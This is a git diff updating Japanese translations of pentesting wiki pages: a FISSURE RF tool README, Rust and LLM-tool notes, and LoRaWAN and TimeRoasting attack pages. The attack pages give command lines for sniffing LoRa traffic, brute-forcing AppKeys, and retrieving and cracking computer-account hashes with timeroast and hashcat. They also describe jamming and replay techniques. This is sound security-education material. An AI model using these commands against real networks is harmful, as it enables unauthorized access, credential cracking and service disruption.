フレンドリーなPythonコードベースとユーザーインターフェースにより、初心者はRFおよびリバースエンジニアリングに関する人気のツールや技術を迅速に学ぶことができます。サイバーセキュリティやエンジニアリングの教育者は、組み込みの資料を活用したり、フレームワークを利用して自分の実世界のアプリケーションを示すことができます。開発者や研究者は、日常のタスクにFISSUREを使用したり、最先端のソリューションをより広いオーディエンスに公開することができます。FISSUREの認知度と使用がコミュニティで高まるにつれて、その能力の範囲と技術の幅も広がります。
|
||||
|
||||
**追加情報**
|
||||
|
||||
@ -22,16 +22,16 @@ FISSUREに含まれるフレームワークとツールは、RFエネルギー
|
||||
|
||||
**サポートされている**
|
||||
|
||||
FISSURE内には、ファイルナビゲーションを容易にし、コードの冗長性を減らすために3つのブランチがあります。Python2\_maint-3.7ブランチは、Python2、PyQt4、およびGNU Radio 3.7を中心に構築されたコードベースを含み、Python3\_maint-3.8ブランチはPython3、PyQt5、およびGNU Radio 3.8を中心に構築され、Python3\_maint-3.10ブランチはPython3、PyQt5、およびGNU Radio 3.10を中心に構築されています。
|
||||
FISSURE内には、ファイルナビゲーションを容易にし、コードの冗長性を減らすために3つのブランチがあります。Python2\_maint-3.7ブランチは、Python2、PyQt4、およびGNU Radio 3.7を中心に構築されたコードベースを含んでいます。Python3\_maint-3.8ブランチは、Python3、PyQt5、およびGNU Radio 3.8を中心に構築されています。Python3\_maint-3.10ブランチは、Python3、PyQt5、およびGNU Radio 3.10を中心に構築されています。
|
||||
|
||||
| オペレーティングシステム | FISSUREブランチ |
|
||||
| :--------------------------: | :----------------: |
|
||||
| Ubuntu 18.04 (x64) | Python2\_maint-3.7 |
|
||||
| Ubuntu 18.04.5 (x64) | Python2\_maint-3.7 |
|
||||
| Ubuntu 18.04.6 (x64) | Python2\_maint-3.7 |
|
||||
| Ubuntu 20.04.1 (x64) | Python3\_maint-3.8 |
|
||||
| Ubuntu 20.04.4 (x64) | Python3\_maint-3.8 |
|
||||
| KDE neon 5.25 (x64) | Python3\_maint-3.8 |
|
||||
| Ubuntu 18.04 (x64) | Python2\_maint-3.7 |
|
||||
| Ubuntu 18.04.5 (x64) | Python2\_maint-3.7 |
|
||||
| Ubuntu 18.04.6 (x64) | Python2\_maint-3.7 |
|
||||
| Ubuntu 20.04.1 (x64) | Python3\_maint-3.8 |
|
||||
| Ubuntu 20.04.4 (x64) | Python3\_maint-3.8 |
|
||||
| KDE neon 5.25 (x64) | Python3\_maint-3.8 |
|
||||
|
||||
**進行中(ベータ)**
|
||||
|
||||
@ -39,8 +39,8 @@ FISSURE内には、ファイルナビゲーションを容易にし、コード
|
||||
|
||||
| オペレーティングシステム | FISSUREブランチ |
|
||||
| :------------------------------: | :-----------------: |
|
||||
| DragonOS Focal (x86\_64) | Python3\_maint-3.8 |
|
||||
| Ubuntu 22.04 (x64) | Python3\_maint-3.10 |
|
||||
| DragonOS Focal (x86\_64) | Python3\_maint-3.8 |
|
||||
| Ubuntu 22.04 (x64) | Python3\_maint-3.10 |
|
||||
|
||||
注:特定のソフトウェアツールはすべてのOSで動作しません。[Software And Conflicts](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Help/Markdown/SoftwareAndConflicts.md)を参照してください。
|
||||
|
||||
@ -52,7 +52,7 @@ git checkout <Python2_maint-3.7> or <Python3_maint-3.8> or <Python3_maint-3.10>
|
||||
git submodule update --init
|
||||
./install
|
||||
```
|
||||
これにより、インストールGUIを起動するために必要なPyQtソフトウェアの依存関係がインストールされます。
|
||||
この操作は、インストールGUIを起動するために必要なPyQtソフトウェアの依存関係をインストールします。
|
||||
|
||||
次に、オペレーティングシステムに最も適したオプションを選択します(OSがオプションに一致する場合は自動的に検出されるはずです)。
|
||||
|
||||
@ -60,7 +60,7 @@ git submodule update --init
|
||||
| :--------------------------------------------------------------------------------------------------: | :--------------------------------------------------------------------------------------------------: | :--------------------------------------------------------------------------------------------------: |
|
||||
|  |  |  |
|
||||
|
||||
FISSUREは、既存の競合を避けるためにクリーンなオペレーティングシステムにインストールすることをお勧めします。FISSURE内のさまざまなツールを操作する際のエラーを避けるために、すべての推奨チェックボックス(デフォルトボタン)を選択してください。インストール中に複数のプロンプトが表示され、主に昇格された権限やユーザー名を求められます。項目の最後に「Verify」セクションが含まれている場合、インストーラーはその後のコマンドを実行し、コマンドによってエラーが発生したかどうかに応じてチェックボックス項目を緑または赤で強調表示します。「Verify」セクションのないチェック済み項目は、インストール後も黒のままになります。
|
||||
FISSUREは、既存の競合を避けるためにクリーンなオペレーティングシステムにインストールすることをお勧めします。FISSURE内のさまざまなツールを操作する際のエラーを避けるために、すべての推奨チェックボックス(デフォルトボタン)を選択してください。インストール中に複数のプロンプトが表示され、主に昇格された権限やユーザー名を要求されます。項目の最後に「Verify」セクションが含まれている場合、インストーラーはその後のコマンドを実行し、コマンドによってエラーが発生したかどうかに応じてチェックボックス項目を緑または赤で強調表示します。「Verify」セクションのないチェック済み項目は、インストール後も黒のままになります。
|
||||
|
||||

|
||||
|
||||
@ -70,7 +70,7 @@ FISSUREは、既存の競合を避けるためにクリーンなオペレーテ
|
||||
```
|
||||
fissure
|
||||
```
|
||||
FISSUREの使用方法についての詳細は、ヘルプメニューを参照してください。
|
||||
FISSUREの使用方法についての詳細は、FISSUREヘルプメニューを参照してください。
|
||||
|
||||
## 詳細
|
||||
|
||||
@ -93,7 +93,7 @@ FISSUREの使用方法についての詳細は、ヘルプメニューを参照
|
||||
|
||||
**ハードウェア**
|
||||
|
||||
以下は、異なる統合レベルを持つ「サポートされている」ハードウェアのリストです:
|
||||
以下は、さまざまな統合レベルを持つ「サポートされている」ハードウェアのリストです:
|
||||
|
||||
* USRP: X3xx, B2xx, B20xmini, USRP2, N2xx
|
||||
* HackRF
|
||||
@ -106,10 +106,10 @@ FISSUREの使用方法についての詳細は、ヘルプメニューを参照
|
||||
|
||||
## レッスン
|
||||
|
||||
FISSUREには、さまざまな技術や手法に慣れるためのいくつかの役立つガイドが付属しています。多くは、FISSUREに統合されたさまざまなツールの使用手順を含んでいます。
|
||||
FISSUREには、さまざまな技術や手法に慣れるためのいくつかの役立つガイドが付属しています。多くは、FISSUREに統合されているさまざまなツールの使用手順を含んでいます。
|
||||
|
||||
* [Lesson1: OpenBTS](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Lessons/Markdown/Lesson1\_OpenBTS.md)
|
||||
* [Lesson2: Luaディセクター](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Lessons/Markdown/Lesson2\_LuaDissectors.md)
|
||||
* [Lesson2: Luaディセクタ](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Lessons/Markdown/Lesson2\_LuaDissectors.md)
|
||||
* [Lesson3: Sound eXchange](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Lessons/Markdown/Lesson3\_Sound\_eXchange.md)
|
||||
* [Lesson4: ESPボード](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Lessons/Markdown/Lesson4\_ESP\_Boards.md)
|
||||
* [Lesson5: ラジオソン追跡](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Lessons/Markdown/Lesson5\_Radiosonde\_Tracking.md)
|
||||
@ -131,7 +131,7 @@ FISSUREには、さまざまな技術や手法に慣れるためのいくつか
|
||||
|
||||
## 貢献
|
||||
|
||||
FISSUREの改善に関する提案は大いに歓迎されます。以下の点についての考えがあれば、[Discussions](https://github.com/ainfosec/FISSURE/discussions)ページまたはDiscordサーバーにコメントを残してください:
|
||||
FISSUREの改善に関する提案は大いに歓迎されます。以下のことについて考えがある場合は、[Discussions](https://github.com/ainfosec/FISSURE/discussions)ページまたはDiscordサーバーにコメントを残してください:
|
||||
|
||||
* 新機能の提案やデザイン変更
|
||||
* インストール手順を含むソフトウェアツール
|
||||
@ -149,11 +149,11 @@ FISSUREの改善に向けた貢献は、その開発を加速させるために
|
||||
4. ブランチにプッシュ (`git push origin feature/AmazingFeature`)
|
||||
5. プルリクエストを開く
|
||||
|
||||
バグに注意を促すための[Issues](https://github.com/ainfosec/FISSURE/issues)の作成も歓迎します。
|
||||
バグに注意を促すための[Issues](https://github.com/ainfosec/FISSURE/issues)を作成することも歓迎されます。
|
||||
|
||||
## コラボレーション
|
||||
|
||||
Assured Information Security, Inc. (AIS)のビジネス開発に連絡して、FISSUREのコラボレーション機会を提案し、正式化してください。ソフトウェアの統合に時間を割くこと、AISの才能ある人々があなたの技術的課題のためのソリューションを開発すること、またはFISSUREを他のプラットフォーム/アプリケーションに統合することが含まれます。
|
||||
Assured Information Security, Inc. (AIS)ビジネス開発に連絡して、FISSUREのコラボレーション機会を提案し、正式化してください。ソフトウェアの統合に時間を割くこと、AISの才能ある人々があなたの技術的課題のためのソリューションを開発すること、またはFISSUREを他のプラットフォーム/アプリケーションに統合することが含まれます。
|
||||
|
||||
## ライセンス
|
||||
|
||||
@ -183,4 +183,4 @@ Chris Poore - Assured Information Security, Inc. - poorec@ainfosec.com
|
||||
|
||||
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -4,13 +4,92 @@
|
||||
|
||||
## はじめに
|
||||
|
||||
**低電力広域ネットワーク** (LPWAN) は、**長距離通信**のために設計された無線の低電力広域ネットワーク技術のグループです。\
|
||||
これらは**6マイル**以上の距離に到達でき、**バッテリー**は最大で**20年**持続することができます。
|
||||
**低電力広域ネットワーク** (LPWAN) は、**低ビットレート**での**長距離通信**を目的とした無線の低電力広域ネットワーク技術のグループです。
|
||||
これらは**6マイル以上**の距離に到達でき、**バッテリー**は最大で**20年**持続します。
|
||||
|
||||
ロングレンジ (**LoRa**) は複数の国で人気があり、**LoRaWAN**というオープンソースの仕様があります。
|
||||
ロングレンジ (**LoRa**) は現在最も展開されているLPWANの物理層であり、そのオープンなMAC層仕様は**LoRaWAN**です。
|
||||
|
||||
### LPWAN、LoRa、およびLoRaWAN
|
||||
---
|
||||
|
||||
[https://github.com/IOActive/laf](https://github.com/IOActive/laf)
|
||||
## LPWAN、LoRa、およびLoRaWAN
|
||||
|
||||
* LoRa – Semtechによって開発されたチャープスプレッドスペクトル (CSS) 物理層(独自だが文書化されている)。
|
||||
* LoRaWAN – LoRa-Allianceによって維持されているオープンなMAC/ネットワーク層。バージョン1.0.xおよび1.1が現場で一般的です。
|
||||
* 典型的なアーキテクチャ: *エンドデバイス → ゲートウェイ (パケットフォワーダー) → ネットワークサーバー → アプリケーションサーバー*。
|
||||
|
||||
> **セキュリティモデル**は、*ジョイン*手続き中にセッションキーを導出する2つのAES-128ルートキー (AppKey/NwkKey) に依存しています (OTAA) またはハードコーディングされています (ABP)。いずれかのキーが漏洩すると、攻撃者は対応するトラフィックに対して完全な読み書き権限を得ます。
|
||||
|
||||
---
|
||||
|
||||
## 攻撃面の概要
|
||||
|
||||
| レイヤー | 脆弱性 | 実際の影響 |
|
||||
|-------|----------|------------------|
|
||||
| PHY | 反応的/選択的ジャミング | 単一のSDRと<1 W出力で100%のパケットロスが実証されました |
|
||||
| MAC | ジョイン・アクセプトおよびデータフレームのリプレイ (ノンス再利用、ABPカウンターのロールオーバー) | デバイスの偽装、メッセージの注入、DoS |
|
||||
| ネットワークサーバー | 不secureなパケットフォワーダー、弱いMQTT/UDPフィルター、古いゲートウェイファームウェア | ゲートウェイでのRCE → OT/ITネットワークへのピボット |
|
||||
| アプリケーション | ハードコーディングされたまたは予測可能なAppKeys | トラフィックのブルートフォース/復号、センサーの偽装 |
|
||||
|
||||
---
|
||||
|
||||
## 最近の脆弱性 (2023-2025)
|
||||
|
||||
* **CVE-2024-29862** – *ChirpStack gateway-bridge & mqtt-forwarder* がKerlinkゲートウェイ上のステートフルファイアウォールルールをバイパスするTCPパケットを受け入れ、リモート管理インターフェースの露出を許可しました。4.0.11 / 4.2.1で修正されました。
|
||||
* **Dragino LG01/LG308シリーズ** – 2022-2024年の複数のCVE(例: 2022-45227 ディレクトリトラバーサル、2022-45228 CSRF)が2025年でも未修正のまま観察され、数千の公共ゲートウェイで認証なしのファームウェアダンプまたは設定上書きを可能にします。
|
||||
* Semtech *パケットフォワーダーUDP* オーバーフロー(未発表のアドバイザリー、2023-10にパッチ適用):255 Bを超えるアップリンクを作成するとスタックスマッシュが引き起こされ、SX130xリファレンスゲートウェイでのRCEが発生しました(Black Hat EU 2023 “LoRa Exploitation Reloaded”で発見)。
|
||||
|
||||
---
|
||||
|
||||
## 実践的な攻撃技術
|
||||
|
||||
### 1. トラフィックのスニッフィングと復号
|
||||
```bash
|
||||
# Capture all channels around 868.3 MHz with an SDR (USRP B205)
|
||||
python3 lorattack/sniffer.py \
|
||||
--freq 868.3e6 --bw 125e3 --rate 1e6 --sf 7 --session smartcity
|
||||
|
||||
# Bruteforce AppKey from captured OTAA join-request/accept pairs
|
||||
python3 lorapwn/bruteforce_join.py --pcap smartcity.pcap --wordlist top1m.txt
|
||||
```
|
||||
### 2. OTAAジョインリプレイ(DevNonce再利用)
|
||||
|
||||
1. 正当な **JoinRequest** をキャプチャします。
|
||||
2. 元のデバイスが再度送信する前に、すぐに再送信します(またはRSSIを増加させます)。
|
||||
3. ネットワークサーバーは新しいDevAddrとセッションキーを割り当てますが、ターゲットデバイスは古いセッションを続行します → 攻撃者は空いているセッションを所有し、偽のアップリンクを注入できます。
|
||||
|
||||
### 3. アダプティブデータレート(ADR)ダウングレード
|
||||
|
||||
SF12/125 kHzを強制してエアタイムを増加させます → ゲートウェイのデューティサイクルを枯渇させます(サービス拒否)が、攻撃者へのバッテリーへの影響は低く保ちます(ネットワークレベルのMACコマンドを送信するだけです)。
|
||||
|
||||
### 4. 反応的ジャミング
|
||||
|
||||
*HackRF One* がGNU Radioフローフローグラフを実行し、プレアンブルが検出されると広帯域のチープをトリガーします – ≤200 mW TXで全てのスプレッディングファクターをブロックします;2 kmの範囲で完全なアウトageが測定されました。
|
||||
|
||||
---
|
||||
|
||||
## 攻撃的ツール(2025)
|
||||
|
||||
| ツール | 目的 | ノート |
|
||||
|------|---------|-------|
|
||||
| **LoRaWAN監査フレームワーク(LAF)** | LoRaWANフレームの作成/解析/攻撃、DBバックのアナライザー、ブルートフォース | Dockerイメージ、Semtech UDP入力をサポート |
|
||||
| **LoRaPWN** | OTAAをブルートフォースし、ダウンリンクを生成し、ペイロードを復号するためのTrend Micro Pythonユーティリティ | 2023年にデモリリース、SDR非依存 |
|
||||
| **LoRAttack** | USRPによるマルチチャネルスニファー + リプレイ;PCAP/LoRaTapをエクスポート | 良好なWireshark統合 |
|
||||
| **gr-lora / gr-lorawan** | ベースバンドTX/RX用のGNU Radio OOTブロック | カスタム攻撃の基盤 |
|
||||
|
||||
---
|
||||
|
||||
## 防御的推奨事項(ペンテスターチェックリスト)
|
||||
|
||||
1. 真のランダムDevNonceを持つ**OTAA**デバイスを優先し、重複を監視します。
|
||||
2. **LoRaWAN 1.1**を強制します:32ビットフレームカウンター、異なるFNwkSIntKey / SNwkSIntKey。
|
||||
3. フレームカウンターを不揮発性メモリ(**ABP**)に保存するか、OTAAに移行します。
|
||||
4. ルートキーをファームウェア抽出から保護するために**セキュアイレメント**(ATECC608A/SX1262-TRX-SE)を展開します。
|
||||
5. リモートUDPパケットフォワーダーポート(1700/1701)を無効にするか、WireGuard/VPNで制限します。
|
||||
6. ゲートウェイを最新の状態に保ちます;Kerlink/Draginoは2024年パッチ済みのイメージを提供します。
|
||||
7. **トラフィック異常検出**(例:LAFアナライザー)を実装します – カウンターリセット、重複ジョイン、突然のADR変更をフラグします。
|
||||
|
||||
## 参考文献
|
||||
|
||||
* LoRaWAN監査フレームワーク(LAF) – https://github.com/IOActive/laf
|
||||
* Trend Micro LoRaPWNの概要 – https://www.hackster.io/news/trend-micro-finds-lorawan-security-lacking-develops-lorapwn-python-utility-bba60c27d57a
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,10 +1,10 @@
|
||||
# Rust Basics
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
### ジェネリック型
|
||||
|
||||
任意の型を持つことができる値の1つを持つ構造体を作成します。
|
||||
1つの値が任意の型である可能性がある構造体を作成します。
|
||||
```rust
|
||||
struct Wrapper<T> {
|
||||
value: T,
|
||||
@ -28,11 +28,11 @@ None,
|
||||
Some(T),
|
||||
}
|
||||
```
|
||||
`is_some()`や`is_none()`のような関数を使用して、Optionの値をチェックできます。
|
||||
あなたは `is_some()` や `is_none()` のような関数を使用して、Optionの値をチェックできます。
|
||||
|
||||
### マクロ
|
||||
|
||||
マクロは関数よりも強力で、手動で書いたコードよりも多くのコードを生成するために展開されます。たとえば、関数のシグネチャは、関数が持つパラメータの数と型を宣言する必要があります。一方、マクロは可変数のパラメータを受け取ることができます:`println!("hello")`を1つの引数で呼び出したり、`println!("hello {}", name)`を2つの引数で呼び出したりできます。また、マクロはコンパイラがコードの意味を解釈する前に展開されるため、マクロは特定の型にトレイトを実装することができます。関数は実行時に呼び出されるため、トレイトはコンパイル時に実装する必要があります。
|
||||
マクロは関数よりも強力です。なぜなら、手動で書いたコードよりも多くのコードを生成するために展開されるからです。例えば、関数のシグネチャは、関数が持つパラメータの数と型を宣言する必要があります。一方、マクロは可変数のパラメータを取ることができます:`println!("hello")` を1つの引数で呼び出すことも、`println!("hello {}", name)` を2つの引数で呼び出すこともできます。また、マクロはコンパイラがコードの意味を解釈する前に展開されるため、マクロは例えば、特定の型に対してトレイトを実装することができます。関数は実行時に呼び出されるため、トレイトはコンパイル時に実装する必要があります。
|
||||
```rust
|
||||
macro_rules! my_macro {
|
||||
() => {
|
||||
@ -252,7 +252,7 @@ assert_ne!(true, false);
|
||||
}
|
||||
}
|
||||
```
|
||||
### スレッド処理
|
||||
### スレッディング
|
||||
|
||||
#### Arc
|
||||
|
||||
@ -269,7 +269,7 @@ println!("{:?}", apple);
|
||||
```
|
||||
#### スレッド
|
||||
|
||||
この場合、スレッドに変更可能な変数を渡します。
|
||||
この場合、スレッドに変更できる変数を渡します。
|
||||
```rust
|
||||
fn main() {
|
||||
let status = Arc::new(Mutex::new(JobStatus { jobs_completed: 0 }));
|
||||
@ -287,4 +287,4 @@ thread::sleep(Duration::from_millis(500));
|
||||
}
|
||||
}
|
||||
```
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -1,8 +1,8 @@
|
||||
# Test LLMs
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Run & train models locally
|
||||
## ローカルでモデルを実行・トレーニングする
|
||||
|
||||
### [**Hugging Face Transformers**](https://github.com/huggingface/transformers)
|
||||
|
||||
@ -10,11 +10,11 @@ Hugging Face Transformersは、GPT、BERTなどのLLMを使用、トレーニン
|
||||
|
||||
### [**LangChain**](https://github.com/langchain-ai/langchain)
|
||||
|
||||
LangChainは、LLMを使用したアプリケーションを構築するために設計されたフレームワークです。開発者は、言語モデルを外部データソース、API、およびデータベースに接続できます。LangChainは、高度なプロンプトエンジニアリング、会話履歴の管理、およびLLMを複雑なワークフローに統合するためのツールを提供します。
|
||||
LangChainは、LLMを使用したアプリケーションを構築するために設計されたフレームワークです。開発者は、言語モデルを外部データソース、API、およびデータベースに接続できます。LangChainは、高度なプロンプトエンジニアリング、会話履歴の管理、LLMを複雑なワークフローに統合するためのツールを提供します。
|
||||
|
||||
### [**LitGPT**](https://github.com/Lightning-AI/litgpt)
|
||||
|
||||
LitGPTは、Lightning AIによって開発されたプロジェクトで、Lightningフレームワークを活用してGPTベースのモデルのトレーニング、ファインチューニング、およびデプロイを容易にします。他のLightning AIツールとシームレスに統合され、大規模な言語モデルを扱うための最適化されたワークフローを提供します。
|
||||
LitGPTは、Lightning AIによって開発されたプロジェクトで、Lightningフレームワークを活用してGPTベースのモデルのトレーニング、ファインチューニング、デプロイを促進します。他のLightning AIツールとシームレスに統合され、大規模な言語モデルを扱うための最適化されたワークフローを提供します。
|
||||
|
||||
### [**LitServe**](https://github.com/Lightning-AI/LitServe)
|
||||
|
||||
@ -25,22 +25,22 @@ LitServeは、AIモデルを迅速かつ効率的にデプロイするために
|
||||
|
||||
Axolotlは、LLMを含むAIモデルのデプロイ、スケーリング、および管理を簡素化するために設計されたクラウドベースのプラットフォームです。自動スケーリング、モニタリング、さまざまなクラウドサービスとの統合などの機能を提供し、広範なインフラ管理なしで本番環境にモデルをデプロイすることを容易にします。
|
||||
|
||||
## Try models online
|
||||
## オンラインでモデルを試す
|
||||
|
||||
### [**Hugging Face**](https://huggingface.co/)
|
||||
|
||||
**Hugging Face**は、特に自然言語処理(NLP)における機械学習のための主要なプラットフォームおよびコミュニティです。機械学習モデルの開発、共有、デプロイを容易にするツール、ライブラリ、およびリソースを提供します。\
|
||||
いくつかのセクションを提供しています:
|
||||
**Hugging Face**は、特に自然言語処理(NLP)における機械学習のための主要なプラットフォームおよびコミュニティです。機械学習モデルの開発、共有、デプロイを容易にするツール、ライブラリ、リソースを提供します。\
|
||||
いくつかのセクションがあります:
|
||||
|
||||
* **Models**: テキスト生成、翻訳、画像認識などのさまざまなタスクのために、ユーザーがブラウズ、ダウンロード、および統合できる**事前トレーニング済み機械学習モデル**の広範なリポジトリ。
|
||||
* **Models**: テキスト生成、翻訳、画像認識などのさまざまなタスクのために、ユーザーがブラウズ、ダウンロード、統合できる**事前トレーニング済み機械学習モデル**の広範なリポジトリ。
|
||||
* **Datasets:** モデルのトレーニングと評価に使用される**データセットの包括的なコレクション**。多様なデータソースへの簡単なアクセスを促進し、ユーザーが特定の機械学習プロジェクトのためにデータを見つけて利用できるようにします。
|
||||
* **Spaces:** **インタラクティブな機械学習アプリケーション**やデモをホスティングおよび共有するためのプラットフォーム。開発者は、モデルを実際に動作させて**ショーケース**し、ユーザーフレンドリーなインターフェースを作成し、他の人とライブデモを共有してコラボレーションできます。
|
||||
* **Spaces:** **インタラクティブな機械学習アプリケーション**やデモをホスティングおよび共有するためのプラットフォーム。開発者は、モデルを実際に動かして**ショーケース**し、ユーザーフレンドリーなインターフェースを作成し、ライブデモを共有することで他の人とコラボレーションできます。
|
||||
|
||||
## [**TensorFlow Hub**](https://www.tensorflow.org/hub) **&** [**Kaggle**](https://www.kaggle.com/)
|
||||
|
||||
**TensorFlow Hub**は、Googleによって開発された再利用可能な機械学習モジュールの包括的なリポジトリです。特にTensorFlowで構築された機械学習モデルの共有とデプロイを促進することに焦点を当てています。
|
||||
|
||||
* **Modules:** 画像分類、テキスト埋め込みなどのタスクのために、ユーザーがブラウズ、ダウンロード、および統合できる事前トレーニング済みモデルとモデルコンポーネントの広範なコレクション。
|
||||
* **Modules:** 画像分類、テキスト埋め込みなどのタスクのために、ユーザーがブラウズ、ダウンロード、統合できる事前トレーニング済みモデルとモデルコンポーネントの広範なコレクション。
|
||||
* **Tutorials:** ユーザーがTensorFlow Hubを使用してモデルを実装およびファインチューニングする方法を理解するのに役立つステップバイステップのガイドと例。
|
||||
* **Documentation:** 開発者がリポジトリのリソースを効果的に利用するのを支援する包括的なガイドとAPIリファレンス。
|
||||
|
||||
@ -48,7 +48,7 @@ Axolotlは、LLMを含むAIモデルのデプロイ、スケーリング、お
|
||||
|
||||
**Replicate**は、開発者がシンプルなAPIを介してクラウドで機械学習モデルを実行できるプラットフォームです。MLモデルを簡単にアクセス可能でデプロイ可能にすることに焦点を当てており、広範なインフラ設定を必要としません。
|
||||
|
||||
* **Models:** コミュニティによって提供された機械学習モデルのリポジトリで、ユーザーはブラウズ、試すことができ、最小限の労力でアプリケーションにモデルを統合できます。
|
||||
* **Models:** コミュニティによって提供された機械学習モデルのリポジトリで、ユーザーはブラウズ、試す、アプリケーションにモデルを統合することができます。
|
||||
* **API Access:** モデルを実行するためのシンプルなAPIで、開発者が自分のアプリケーション内でモデルを簡単にデプロイおよびスケールできるようにします。
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -1,32 +1,32 @@
|
||||
# TimeRoasting
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
timeRoastingの主な原因は、MicrosoftがNTPサーバーへの拡張機能として残した古い認証メカニズム、MS-SNTPとして知られるものです。このメカニズムでは、クライアントは任意のコンピュータアカウントの相対識別子(RID)を直接使用でき、ドメインコントローラーはコンピュータアカウントのNTLMハッシュ(MD4によって生成された)をキーとして、応答パケットの**メッセージ認証コード(MAC)**を生成します。
|
||||
timeRoastingの主な原因は、MicrosoftがNTPサーバーへの拡張で残した古い認証メカニズム、MS-SNTPとして知られるものです。このメカニズムでは、クライアントは任意のコンピュータアカウントの相対識別子(RID)を直接使用でき、ドメインコントローラーはコンピュータアカウントのNTLMハッシュ(MD4によって生成された)をキーとして、応答パケットの**メッセージ認証コード(MAC)**を生成します。
|
||||
|
||||
攻撃者はこのメカニズムを利用して、認証なしで任意のコンピュータアカウントの同等のハッシュ値を取得できます。明らかに、Hashcatのようなツールを使用してブルートフォース攻撃を行うことができます。
|
||||
|
||||
具体的なメカニズムは、[MS-SNTPプロトコルの公式Windowsドキュメント](https://winprotocoldoc.z19.web.core.windows.net/MS-SNTP/%5bMS-SNTP%5d.pdf)のセクション3.1.5.1「認証要求の動作」で確認できます。
|
||||
|
||||
文書のセクション3.1.5.1では、認証要求の動作について説明しています。
|
||||
ドキュメントのセクション3.1.5.1では、認証要求の動作について説明しています。
|
||||

|
||||
ExtendedAuthenticatorSupported ADM要素が`false`に設定されている場合、元のMarkdown形式が保持されることがわかります。
|
||||
|
||||
>元の記事からの引用:
|
||||
>>ExtendedAuthenticatorSupported ADM要素がfalseの場合、クライアントはクライアントNTP要求メッセージを構築しなければなりません。クライアントNTP要求メッセージの長さは68バイトです。クライアントは、セクション2.2.1で説明されているように、クライアントNTP要求メッセージの認証子フィールドを設定し、RID値の最下位31ビットを認証子のキー識別子サブフィールドの最下位31ビットに書き込み、その後、キーセレクタ値をキー識別子サブフィールドの最上位ビットに書き込みます。
|
||||
|
||||
文書のセクション4 プロトコル例のポイント3
|
||||
ドキュメントのセクション4 プロトコル例のポイント3
|
||||
|
||||
>元の記事からの引用:
|
||||
>>3. リクエストを受信した後、サーバーは受信したメッセージのサイズが68バイトであることを確認します。そうでない場合、サーバーはリクエストを破棄するか(メッセージサイズが48バイトでない場合)、未認証のリクエストとして扱います(メッセージサイズが48バイトの場合)。受信したメッセージサイズが68バイトであると仮定すると、サーバーは受信したメッセージからRIDを抽出します。サーバーはそれを使用して、NetrLogonComputeServerDigestメソッド([MS-NRPC]セクション3.5.4.8.2に指定)を呼び出し、暗号チェックサムを計算し、受信したメッセージのキー識別子サブフィールドの最上位ビットに基づいて暗号チェックサムを選択します(セクション3.2.5に指定)。その後、サーバーはクライアントに応答を送信し、キー識別子フィールドを0に設定し、暗号チェックサムフィールドを計算された暗号チェックサムに設定します。
|
||||
>>3. リクエストを受信した後、サーバーは受信したメッセージのサイズが68バイトであることを確認します。そうでない場合、サーバーはリクエストを破棄するか(メッセージサイズが48バイトでない場合)、未認証のリクエストとして扱います(メッセージサイズが48バイトの場合)。受信したメッセージのサイズが68バイトであると仮定すると、サーバーは受信したメッセージからRIDを抽出します。サーバーはそれを使用して、NetrLogonComputeServerDigestメソッド([MS-NRPC]セクション3.5.4.8.2で指定)を呼び出し、暗号チェックサムを計算し、受信したメッセージのキー識別子サブフィールドの最上位ビットに基づいて暗号チェックサムを選択します(セクション3.2.5で指定)。その後、サーバーはクライアントに応答を送り、キー識別子フィールドを0に設定し、暗号チェックサムフィールドを計算された暗号チェックサムに設定します。
|
||||
|
||||
上記のMicrosoft公式文書の説明によれば、ユーザーは認証を必要とせず、RIDを入力するだけでリクエストを開始でき、その後、暗号チェックサムを取得できます。暗号チェックサムは文書のセクション3.2.5.1.1で説明されています。
|
||||
上記のMicrosoft公式ドキュメントの説明によれば、ユーザーは認証を必要とせず、RIDを入力するだけでリクエストを開始でき、その後、暗号チェックサムを取得できます。暗号チェックサムはドキュメントのセクション3.2.5.1.1で説明されています。
|
||||
|
||||
>元の記事からの引用:
|
||||
>>サーバーは、クライアントNTP要求メッセージの認証子フィールドのキー識別子サブフィールドの最下位31ビットからRIDを取得します。サーバーは、NetrLogonComputeServerDigestメソッド([MS-NRPC]セクション3.5.4.8.2に指定)を使用して、次の入力パラメータで暗号チェックサムを計算します:
|
||||
>>サーバーは、クライアントNTP要求メッセージの認証子フィールドのキー識別子サブフィールドの最下位31ビットからRIDを取得します。サーバーは、NetrLogonComputeServerDigestメソッド([MS-NRPC]セクション3.5.4.8.2で指定)を使用して、次の入力パラメータで暗号チェックサムを計算します:
|
||||
>>>
|
||||
|
||||
暗号チェックサムはMD5を使用して計算され、具体的なプロセスは文書の内容を参照できます。これにより、ロースティング攻撃を実行する機会が得られます。
|
||||
暗号チェックサムはMD5を使用して計算され、具体的なプロセスはドキュメントの内容を参照できます。これにより、ロースティング攻撃を実行する機会が得られます。
|
||||
|
||||
## 攻撃方法
|
||||
|
||||
@ -37,4 +37,4 @@ ExtendedAuthenticatorSupported ADM要素が`false`に設定されている場合
|
||||
sudo ./timeroast.py 10.0.0.42 | tee ntp-hashes.txt
|
||||
hashcat -m 31300 ntp-hashes.txt
|
||||
```
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,7 +1,98 @@
|
||||
# PrintNightmare
|
||||
# PrintNightmare (Windows Print Spooler RCE/LPE)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
